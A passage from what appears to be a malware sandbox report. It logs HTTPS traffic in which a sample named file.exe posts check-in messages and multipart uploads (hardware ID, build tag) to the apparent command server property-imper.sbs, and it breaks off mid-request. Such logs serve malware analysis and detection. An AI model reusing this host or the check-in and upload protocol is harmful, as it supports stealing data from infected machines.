Nov 23, 2024 15:37:26.604926109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:37:26.604953051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:37:26.604968071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:37:26.604983091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:37:26.605005980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:37:26.605021954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:37:26.605036020 CET	1236	IN	Data Raw: 2a 40 a7 ca 02 a3 a8 8f 8b 94 a6 07 7c c2 4a b9 27 e7 64 a9 6c 8d 52 69 37 52 74 88 d5 ed 03 9e 63 dc 19 2d d1 cb 44 e9 33 13 6b bf e0 89 d8 88 9c 51 88 b9 58 5e b3 85 8e 8b ad 83 9e 59 ef 9a a0 46 b8 c9 02 57 bc e1 66 62 87 7f 78 64 ad 1a 49 3b Data Ascii: @\|J'dlRi7Rtc-D3kQX^YFWfbxdI; nsuN$\?@o\|bqW%O`Y\lcMW/_=\cK/GtAoFkF!d.K_Xgf6~;iwFER
Nov 23, 2024 15:37:26.605052948 CET	1236	IN	Data Raw: 16 3f 8e df be 3f 8a ab 27 34 06 bf 85 7c 94 38 4d 74 b8 c3 fa 8d 72 a8 3c d7 69 cf 9e 9c ba ca 4c 74 7a a9 2a bc 76 cc 2f 4d 3c 47 9f 3f 4e c9 4c a0 8e f7 fa 98 5e bd 70 e3 57 03 47 7c 32 a0 fc 7b 1a 23 86 c0 c2 51 9f dc a1 ca 0c 6b 3a 17 15 04 Data Ascii: ??'4\|8Mtr<iLtzv/M<G?NL^pWG\|2{#Qk:}d?"d3`Gf/eSW}-{_Mt(}whd9@t9[\|i\uT?WH_+$h3t]>t2X1yh
Nov 23, 2024 15:37:26.605070114 CET	1236	IN	Data Raw: 60 66 b7 d0 f8 84 8e 9c 5b b7 fe c8 93 38 c5 3e 92 4d 90 f7 4e 4f 6a 70 83 aa 85 e8 71 24 5b 6d 69 77 84 fa 90 c3 6f 8e 1d a9 db 9b ac 6e 7b 60 5d 5c 5a d9 7e bd 3f eb 9c 4c 34 eb 6d ad 5e 24 15 4f 62 b8 9a a9 4a d2 8f 16 1a ca 06 ef 96 1b cc 3a Data Ascii: `f[8>MNOjpq$[miwon{`]\Z~?L4m^$ObJ:)w`VRyGJfZvfZjp'Oq,~dvl7Vy@!uCVVm;zeTqn?(k.Xm[NAGPmp4
Nov 23, 2024 15:37:26.725913048 CET	1236	IN	Data Raw: 87 97 c7 72 b5 68 b5 a3 b0 e4 aa 8e e9 48 70 aa 80 4f c4 0a 81 68 4e 97 7d 76 e2 ee 7f 57 c9 b9 80 58 4c d5 4d 6b 20 5c fc 23 d9 ff 61 1d 93 38 48 02 56 ce 5f be 86 87 4c 4e c0 de 66 ab 62 d5 76 a1 48 cc 70 ad 4f 78 cd 5f a9 5a bd b9 65 0c 6d 24 Data Ascii: rhHpOhN}vWXLMk \#a8HV_LNfbvHpOx_Zem$K`wEAzlI"8b3)\|7d#s%S712y3zF\|B$s+Stx%?djZOH`#l^r`ba +B

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 14:37:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 14:37:04 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=68j1ses5u11f52l38bqifsv0cn; expires=Wed, 19-Mar-2025 08:23:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TM6cCFBjF4hJemQaNFRvrGMkcVbNpOMcDVwiGFR31suABZY%2B2fhEs6raiSpzGn4t6h%2BL0t8K4LSB1fmTUh1Ao784J6RQT530Zul6BcROuVC0RQ3PG8YldPoBcYMEnujL9cxCW48%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e523e9997298-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1895&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1526398&cwnd=173&unsent_bytes=0&cid=6db860e034c8ec42&ts=716&x=0"
2024-11-23 14:37:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 14:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 14:37:05 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 14:37:06 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q0a4mtjrbj9gd1rsca1dq07830; expires=Wed, 19-Mar-2025 08:23:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lesde5Rn%2BCHTPf49CGZ7vu7%2BIC1vqJd7NFgsEbCPhCQzV6bE1CH95%2FhdF39d%2BPTZjYeuNnaTSjkULUOQEN%2BNB3nNQPoMQPmbY6TshNMh7xSBQSFcKMIydiv7LzbfdsulaeKq3K4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e5304ca1c445-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=955&delivery_rate=1701631&cwnd=227&unsent_bytes=0&cid=6c25e0f83eb5df79&ts=927&x=0"
2024-11-23 14:37:06 UTC	352	IN	Data Raw: 63 63 35 0d 0a 6c 38 46 74 67 61 2f 47 54 63 52 76 30 45 31 59 4e 46 57 53 46 2b 58 72 68 41 46 59 41 42 6d 63 4d 62 6f 44 6f 4a 66 31 64 41 6a 73 34 78 75 6a 6c 66 4a 68 35 68 79 31 62 32 4a 41 4a 2b 64 79 79 63 6e 6c 5a 58 6f 36 66 2f 31 64 79 57 61 4d 74 59 4d 5a 4b 71 32 6e 44 4f 33 63 6f 32 48 6d 43 71 68 76 59 6d 38 75 73 48 4b 4c 79 62 34 6a 50 57 70 37 2f 56 33 59 59 73 76 34 68 52 68 72 2f 36 30 4b 36 63 71 6c 4b 61 55 44 76 53 67 39 55 54 54 34 65 59 79 47 37 47 78 36 4c 44 76 35 53 35 67 35 67 74 71 51 41 47 6e 61 6f 42 37 71 6a 62 74 68 76 30 32 31 49 33 6f 4f 64 2f 4e 79 68 34 66 69 5a 54 4e 6f 63 66 52 56 32 57 66 4b 35 35 77 53 59 50 2b 6a 43 65 6a 41 72 44 32 6f 43 62 6f 6a 4f 31 73 30 73 44 76 48 6a 76 34 6a 59 69 49 6f 7a 46 44 4a 63 4e Data Ascii: cc5l8Ftga/GTcRv0E1YNFWSF+XrhAFYABmcMboDoJf1dAjs4xujlfJh5hy1b2JAJ+dyycnlZXo6f/1dyWaMtYMZKq2nDO3co2HmCqhvYm8usHKLyb4jPWp7/V3YYsv4hRhr/60K6cqlKaUDvSg9UTT4eYyG7Gx6LDv5S5g5gtqQAGnaoB7qjbthv021I3oOd/Nyh4fiZTNocfRV2WfK55wSYP+jCejArD2oCbojO1s0sDvHjv4jYiIozFDJcN
2024-11-23 14:37:06 UTC	1369	IN	Data Raw: 4d 71 53 2b 30 42 62 6b 6b 50 30 51 38 2b 58 69 4b 69 65 74 70 4e 57 46 37 2b 56 6e 53 62 73 6a 78 6d 68 74 73 39 61 4e 50 72 59 32 6a 4e 2b 5a 56 38 67 77 2f 52 6a 44 38 59 38 57 7a 70 6e 78 30 65 7a 76 35 58 35 67 35 67 76 32 53 46 57 6e 2b 72 41 7a 72 78 72 59 76 74 41 75 2f 4b 69 68 51 4d 76 35 2f 68 4a 76 73 62 54 78 68 63 76 56 61 33 57 62 47 74 64 6c 57 62 65 33 6a 56 36 50 73 71 53 53 71 42 36 55 76 65 6b 6c 35 36 54 57 41 68 61 59 37 65 6d 5a 36 2b 6c 4c 63 62 38 7a 78 6d 78 42 6b 2b 4b 77 4a 36 63 32 6a 4a 61 34 46 73 79 49 78 57 54 66 31 65 49 4f 50 36 6d 49 2f 49 6a 57 2b 56 4d 41 68 6d 72 57 35 45 57 6e 6e 34 54 72 67 77 36 6f 6f 73 45 32 74 59 53 4d 57 4d 50 77 31 33 38 6e 6f 5a 6a 56 77 65 75 78 57 31 6e 50 4f 38 4a 45 62 61 66 75 6a 43 75 Data Ascii: MqS+0BbkkP0Q8+XiKietpNWF7+VnSbsjxmhts9aNPrY2jN+ZV8gw/RjD8Y8Wzpnx0ezv5X5g5gv2SFWn+rAzrxrYvtAu/KihQMv5/hJvsbTxhcvVa3WbGtdlWbe3jV6PsqSSqB6Uvekl56TWAhaY7emZ6+lLcb8zxmxBk+KwJ6c2jJa4FsyIxWTf1eIOP6mI/IjW+VMAhmrW5EWnn4Trgw6oosE2tYSMWMPw138noZjVweuxW1nPO8JEbafujCu
2024-11-23 14:37:06 UTC	1369	IN	Data Raw: 73 45 32 74 59 53 4d 57 4d 50 77 31 33 38 6e 71 61 6a 70 70 63 66 70 54 33 32 7a 48 39 70 41 56 5a 2f 4b 70 41 65 54 4a 71 43 61 72 43 37 49 6f 50 6c 4d 6c 39 58 79 4c 68 61 59 74 65 6d 56 6a 76 67 75 59 54 73 58 6a 6c 44 6c 70 35 4b 70 50 2f 49 4f 39 62 36 45 42 38 6e 64 36 55 54 4c 34 66 6f 47 42 35 6e 45 2f 62 48 44 2f 57 64 35 67 7a 2f 6d 52 46 6d 76 31 70 51 50 6a 79 71 4d 39 74 41 69 30 50 54 41 57 65 62 42 79 6e 38 6d 2b 49 77 78 79 62 4f 39 46 6d 6c 54 42 2b 35 6b 52 66 4c 57 38 51 66 71 4e 6f 79 50 6d 56 66 49 6b 4f 6c 6f 77 2b 48 4f 44 67 65 6c 73 4d 33 42 36 38 6c 33 4b 5a 73 4c 38 6d 52 6c 6d 2f 4b 34 49 37 73 61 75 49 71 49 4b 73 32 39 30 46 6a 44 6f 4e 64 2f 4a 30 48 4d 33 62 6c 58 31 58 39 45 68 33 62 75 4f 56 6d 33 35 34 31 65 6a 79 61 67 Data Ascii: sE2tYSMWMPw138nqajppcfpT32zH9pAVZ/KpAeTJqCarC7IoPlMl9XyLhaYtemVjvguYTsXjlDlp5KpP/IO9b6EB8nd6UTL4foGB5nE/bHD/Wd5gz/mRFmv1pQPjyqM9tAi0PTAWebByn8m+IwxybO9FmlTB+5kRfLW8QfqNoyPmVfIkOlow+HODgelsM3B68l3KZsL8mRlm/K4I7sauIqIKs290FjDoNd/J0HM3blX1X9Eh3buOVm3541ejyag
2024-11-23 14:37:06 UTC	186	IN	Data Raw: 69 6f 2f 55 6a 44 30 63 34 6a 4a 71 43 4d 39 65 6a 75 6d 45 2f 64 47 39 37 65 32 4c 43 72 71 37 52 61 6a 79 71 68 76 2f 6b 32 2b 4c 44 5a 65 4f 50 5a 38 69 34 50 76 61 44 5a 70 66 2f 4a 61 33 57 66 44 38 4a 49 58 62 76 6d 70 43 65 44 4f 71 79 43 70 42 66 4a 68 65 6c 45 76 73 43 33 48 72 50 46 6f 4e 47 51 37 34 52 33 42 49 63 58 35 31 30 34 71 2b 61 6f 4a 35 63 69 6f 4c 71 41 46 74 79 63 2b 56 7a 48 32 64 6f 69 4e 34 32 49 31 5a 6e 66 77 57 64 6c 67 7a 76 36 59 48 57 2b 31 37 55 2f 6b 31 65 52 33 35 6a 79 78 4f 53 31 47 4f 37 42 71 79 5a 43 6d 5a 0d 0a Data Ascii: io/UjD0c4jJqCM9ejumE/dG97e2LCrq7Rajyqhv/k2+LDZeOPZ8i4PvaDZpf/Ja3WfD8JIXbvmpCeDOqyCpBfJhelEvsC3HrPFoNGQ74R3BIcX5104q+aoJ5cioLqAFtyc+VzH2doiN42I1ZnfwWdlgzv6YHW+17U/k1eR35jyxOS1GO7BqyZCmZ
2024-11-23 14:37:06 UTC	1369	IN	Data Raw: 31 30 63 36 0d 0a 44 59 69 49 37 35 53 79 6d 76 49 2b 35 49 5a 62 2f 61 73 43 4f 37 4c 71 43 57 76 42 62 51 67 4d 30 51 30 2f 48 75 41 68 2b 70 74 4e 32 68 34 38 78 4f 57 49 63 58 74 31 30 34 71 32 61 51 43 7a 63 61 6f 4b 4f 59 53 2f 44 5a 36 55 54 75 77 4c 63 65 46 37 47 38 7a 59 6e 4c 37 57 39 4e 6f 78 2f 53 63 45 32 6e 7a 72 67 44 71 33 36 34 73 71 41 36 2b 49 7a 78 58 4e 4f 4a 39 6a 73 6d 6f 49 7a 31 36 4f 36 59 54 2b 57 2f 50 34 5a 41 47 4b 75 72 74 46 71 50 4b 71 47 2f 2b 54 62 45 75 4e 56 55 32 2f 58 4f 4f 67 65 5a 6c 50 32 31 32 38 46 54 66 59 63 2f 37 6d 42 42 69 2b 4b 38 45 37 63 53 69 4c 36 63 48 38 6d 46 36 55 53 2b 77 4c 63 65 35 35 57 4d 36 65 54 76 68 48 63 45 68 78 66 6e 58 54 69 72 6e 71 51 62 6a 7a 71 73 6f 6f 67 61 2b 4b 6a 39 5a 4e 50 Data Ascii: 10c6DYiI75SymvI+5IZb/asCO7LqCWvBbQgM0Q0/HuAh+ptN2h48xOWIcXt104q2aQCzcaoKOYS/DZ6UTuwLceF7G8zYnL7W9Nox/ScE2nzrgDq364sqA6+IzxXNOJ9jsmoIz16O6YT+W/P4ZAGKurtFqPKqG/+TbEuNVU2/XOOgeZlP2128FTfYc/7mBBi+K8E7cSiL6cH8mF6US+wLce55WM6eTvhHcEhxfnXTirnqQbjzqsooga+Kj9ZNP
2024-11-23 14:37:06 UTC	1369	IN	Data Raw: 2f 79 4d 39 62 6a 75 6d 45 39 6c 74 7a 66 61 59 46 57 6e 30 71 52 33 78 77 61 30 6e 6f 77 47 35 49 54 78 45 4d 66 39 38 68 49 72 76 5a 44 4a 75 63 66 31 55 6d 43 2b 43 38 6f 39 57 4d 72 57 41 47 50 50 41 35 44 44 6f 46 50 49 6f 4e 68 5a 76 73 48 32 4b 67 65 78 6e 50 57 39 38 2b 46 72 4b 61 4d 66 37 6c 78 4a 68 2b 71 55 4c 34 4d 32 32 4b 61 49 46 73 53 49 33 57 44 54 30 4e 63 6e 4a 34 58 74 36 4f 6a 76 4d 58 74 5a 36 7a 66 4b 47 48 43 72 71 37 52 61 6a 79 71 68 76 2f 6b 32 32 49 53 68 64 4e 76 74 2b 69 59 37 70 5a 6a 42 69 64 50 70 51 31 6d 72 44 39 70 38 62 5a 2f 75 70 42 75 72 4b 71 43 75 68 54 66 78 76 50 55 35 33 71 44 57 73 71 4d 74 50 50 58 67 37 34 52 33 42 49 63 58 35 31 30 34 71 2b 61 6f 44 36 63 61 6a 4a 61 67 45 76 43 51 6f 52 44 54 30 64 6f 36 Data Ascii: /yM9bjumE9ltzfaYFWn0qR3xwa0nowG5ITxEMf98hIrvZDJucf1UmC+C8o9WMrWAGPPA5DDoFPIoNhZvsH2KgexnPW98+FrKaMf7lxJh+qUL4M22KaIFsSI3WDT0NcnJ4Xt6OjvMXtZ6zfKGHCrq7Rajyqhv/k22IShdNvt+iY7pZjBidPpQ1mrD9p8bZ/upBurKqCuhTfxvPU53qDWsqMtPPXg74R3BIcX5104q+aoD6cajJagEvCQoRDT0do6
2024-11-23 14:37:06 UTC	1369	IN	Data Raw: 32 52 34 2b 68 4f 57 49 63 58 74 31 30 34 71 32 4b 38 49 79 73 71 2f 62 37 6c 44 71 32 38 39 57 6e 65 6f 4e 59 61 43 37 47 77 33 59 58 33 39 57 4e 31 72 77 2f 4b 66 47 33 6a 32 72 41 44 6e 7a 61 73 70 6f 41 79 39 4b 54 31 66 4e 76 68 79 78 38 65 6d 5a 43 49 69 49 37 35 39 33 32 4c 47 74 59 68 59 63 37 57 6b 41 36 4f 56 35 43 2b 73 42 37 67 68 4f 6c 45 6c 39 6e 79 48 69 76 52 67 50 47 70 39 38 6c 2f 56 61 63 76 31 6b 68 31 6e 2f 71 34 4a 34 38 61 6c 62 2b 68 4e 74 54 64 36 44 6e 66 42 65 49 6d 4e 36 47 41 71 5a 54 76 68 48 63 45 68 78 66 6e 58 54 69 72 36 71 68 33 6b 79 4b 77 6d 70 67 4f 37 4a 6a 31 53 4e 50 46 78 69 34 62 76 59 44 4a 6a 63 2f 46 51 32 47 72 4b 2f 35 59 59 62 37 58 74 54 2b 54 56 35 48 66 6d 49 72 45 71 4d 56 64 31 31 33 4f 41 68 61 5a 38 Data Ascii: 2R4+hOWIcXt104q2K8Iysq/b7lDq289WneoNYaC7Gw3YX39WN1rw/KfG3j2rADnzaspoAy9KT1fNvhyx8emZCIiI75932LGtYhYc7WkA6OV5C+sB7ghOlEl9nyHivRgPGp98l/Vacv1kh1n/q4J48alb+hNtTd6DnfBeImN6GAqZTvhHcEhxfnXTir6qh3kyKwmpgO7Jj1SNPFxi4bvYDJjc/FQ2GrK/5YYb7XtT+TV5HfmIrEqMVd113OAhaZ8
2024-11-23 14:37:06 UTC	195	IN	Data Raw: 35 6d 32 32 2f 4d 38 6f 45 48 4a 39 4b 35 41 75 58 61 74 57 2f 6f 54 62 52 76 59 67 5a 35 73 48 47 57 79 62 34 7a 61 44 6b 75 72 51 53 49 4d 39 32 37 6a 6c 5a 38 74 66 74 64 72 59 32 32 62 2f 35 4e 39 53 77 6f 52 44 48 7a 59 34 54 4f 32 46 30 55 5a 58 33 37 56 4d 67 6a 37 50 36 44 45 53 71 37 34 77 43 6a 6c 5a 31 76 37 6b 32 4e 59 58 70 4f 64 36 67 31 73 6f 72 6f 62 54 31 30 61 72 4e 39 33 32 66 48 38 6f 64 55 52 50 36 33 43 4b 4f 44 35 43 6e 6d 56 65 4a 68 65 6c 49 6d 73 43 33 58 32 37 30 32 61 54 55 72 72 45 79 57 65 49 4c 6a 31 30 34 34 75 2b 4d 64 6f 35 58 6b 61 4b 55 0d 0a Data Ascii: 5m22/M8oEHJ9K5AuXatW/oTbRvYgZ5sHGWyb4zaDkurQSIM927jlZ8tftdrY22b/5N9SwoRDHzY4TO2F0UZX37VMgj7P6DESq74wCjlZ1v7k2NYXpOd6g1sorobT10arN932fH8odURP63CKOD5CnmVeJhelImsC3X2702aTUrrEyWeILj1044u+Mdo5XkaKU
2024-11-23 14:37:06 UTC	1369	IN	Data Raw: 31 30 33 35 0d 0a 66 6f 43 6b 35 51 44 53 33 53 37 6d 4b 38 47 34 31 61 58 72 41 62 66 5a 73 77 2f 61 5a 56 46 76 6a 72 68 2f 67 79 4b 4d 52 6d 41 4f 31 4f 7a 31 59 4d 66 41 31 79 63 6e 70 49 32 4a 62 4f 37 59 54 35 79 2b 43 37 64 64 4f 4b 73 43 67 41 65 33 4b 73 6a 37 72 4c 71 51 69 4e 56 30 32 73 44 76 48 6a 36 59 37 61 69 77 37 2b 6b 4b 59 4f 5a 4b 6e 7a 45 4d 35 6f 76 4e 64 2f 49 4f 39 62 37 42 4e 36 6e 31 30 46 69 57 77 4c 63 66 4f 36 47 34 37 59 58 58 39 51 63 70 6e 77 65 4f 55 55 56 54 4c 67 67 4c 6f 77 61 6b 67 72 54 4f 4d 44 6a 64 64 4f 2f 31 36 6a 4c 66 59 64 6a 6c 73 64 66 6c 46 79 53 47 4d 74 5a 68 57 4d 73 7a 6a 52 36 50 79 36 6d 2b 2b 54 65 70 76 44 31 55 35 2f 6e 4b 52 6d 4b 74 43 4e 32 6c 33 38 31 7a 54 49 59 79 31 6b 56 59 79 70 65 31 50 Data Ascii: 1035foCk5QDS3S7mK8G41aXrAbfZsw/aZVFvjrh/gyKMRmAO1Oz1YMfA1ycnpI2JbO7YT5y+C7ddOKsCgAe3Ksj7rLqQiNV02sDvHj6Y7aiw7+kKYOZKnzEM5ovNd/IO9b7BN6n10FiWwLcfO6G47YXX9QcpnweOUUVTLggLowakgrTOMDjddO/16jLfYdjlsdflFySGMtZhWMszjR6Py6m++TepvD1U5/nKRmKtCN2l381zTIYy1kVYype1P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1N2R6X7QL9ZJ3EFN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: property-imper.sbs
2024-11-23 14:37:08 UTC	12829	OUT	Data Raw: 2d 2d 31 4e 32 52 36 58 37 51 4c 39 5a 4a 33 45 46 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 33 46 35 30 36 33 42 35 43 33 31 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 4e 32 52 36 58 37 51 4c 39 5a 4a 33 45 46 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 4e 32 52 36 58 37 51 4c 39 5a 4a 33 45 46 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --1N2R6X7QL9ZJ3EFNContent-Disposition: form-data; name="hwid"E673F5063B5C3167D7CBBD6DF28D3732--1N2R6X7QL9ZJ3EFNContent-Disposition: form-data; name="pid"2--1N2R6X7QL9ZJ3EFNContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 14:37:09 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pam5ng8fo2eah1r2oihnkfimss; expires=Wed, 19-Mar-2025 08:23:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8g4xzH126kFO0MaQC3FEATK12CnPZxlhIrFjSR6HpTckTvAH8mWrXuselYpgLJp4JGH8yf0i1zSt8PdJUc3hfalyg%2FPgaFlfoKiiFsiYXNwj5UGGTrb4Elms4%2FOaEpnJYTXPdeQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e5404b3518f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&sent=11&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13769&delivery_rate=1687861&cwnd=252&unsent_bytes=0&cid=103ece29341ba2ec&ts=915&x=0"
2024-11-23 14:37:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:37:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:10 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KQ8AVD550U76 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15047 Host: property-imper.sbs
2024-11-23 14:37:10 UTC	15047	OUT	Data Raw: 2d 2d 4b 51 38 41 56 44 35 35 30 55 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 33 46 35 30 36 33 42 35 43 33 31 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4b 51 38 41 56 44 35 35 30 55 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 51 38 41 56 44 35 35 30 55 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4b 51 38 41 56 44 35 35 Data Ascii: --KQ8AVD550U76Content-Disposition: form-data; name="hwid"E673F5063B5C3167D7CBBD6DF28D3732--KQ8AVD550U76Content-Disposition: form-data; name="pid"2--KQ8AVD550U76Content-Disposition: form-data; 